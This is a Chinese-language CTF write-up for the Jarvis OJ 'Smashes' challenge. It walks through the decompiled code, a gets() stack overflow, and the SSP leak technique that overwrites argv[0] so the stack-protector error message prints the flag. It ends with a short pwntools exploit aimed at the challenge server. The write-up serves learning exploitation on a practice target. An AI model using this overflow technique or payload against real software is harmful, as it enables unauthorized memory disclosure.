Smashes
Smashes, try your best to smash!!!
file及checksec如下:
查看main函数:
__int64 __fastcall main(int a1, char **a2, char **a3) { setbuf(stdout, 0LL); sub_4007E0(); return 0LL; }
查看sub_4007E0函数:
unsigned __int64 sub_4007E0() { __int64 v0; // rbx int v1; // eax char v3[264]; // [rsp+0h] [rbp-128h] BYREF unsigned __int64 v4; // [rsp+108h] [rbp-20h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Hello!\nWhat's your name? "); if ( !_IO_gets(v3) ) LABEL_9: _exit(1); v0 = 0LL; __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ", v3); while ( 1 ) { v1 = _IO_getc(stdin); if ( v1 == -1 ) goto LABEL_9; if ( v1 == 10 ) break; byte_600D20[v0++] = v1; if ( v0 == 32 ) goto LABEL_8; } memset((void *)((int)v0 + 6294816LL), 0, (unsigned int)(32 - v0)); LABEL_8: puts("Thank you, bye!"); return __readfsqword(0x28u) ^ v4; }
发现存在栈溢出漏洞,不过程序开启了canary
发现程序中存在
这里就是flag的位置
但是在sub_4007E0函数中这一处会被修改,因此寻找程序中这一段的备份
用gdb输入find PCTF得到
0x400d20就是备份的位置
知识点:canary为了防止信息泄露以及其他漏洞的利用,会以\x00作为最低byte位
gets会在输入的最后补上'\n',这样无法绕过canary
对于canary,它在值被修改后会调用__stack_chk_fail然后结束程序
__stack_chk_fail函数如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); }
__fortity_fail函数如下:
void __attribute__ ((noreturn)) __fortify_fail (msg) const char *msg; { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") } libc_hidden_def (__fortify_fail)
如果可以控制argv[0],那么就可以利用canary获得想要的信息,这种攻击方法叫做SSP(Stack Smashing Protector) leak
argv[0]里是程序的绝对位置及文件名本身,因此可以在gdb里找到argv[0]的地址
这里0x7fffffffe2c7就是argv[0]地址
只需要再找到我们输入的位置就可以计算出偏移量
这里0x7fffffffdd40就是输入的位置
因此计算出偏移量:(0x7fffffffe2c7-0x7fffffffdd40)/8=176
exp如下:
from pwn import * #io = process('./smashes') io = connect('pwn.jarvisoj.com', 9877) payload = p64(0x400d20)*176 io.sendlineafter('name? ', payload) io.sendlineafter('flag: ', b'\n') io.interactive()
效果如图: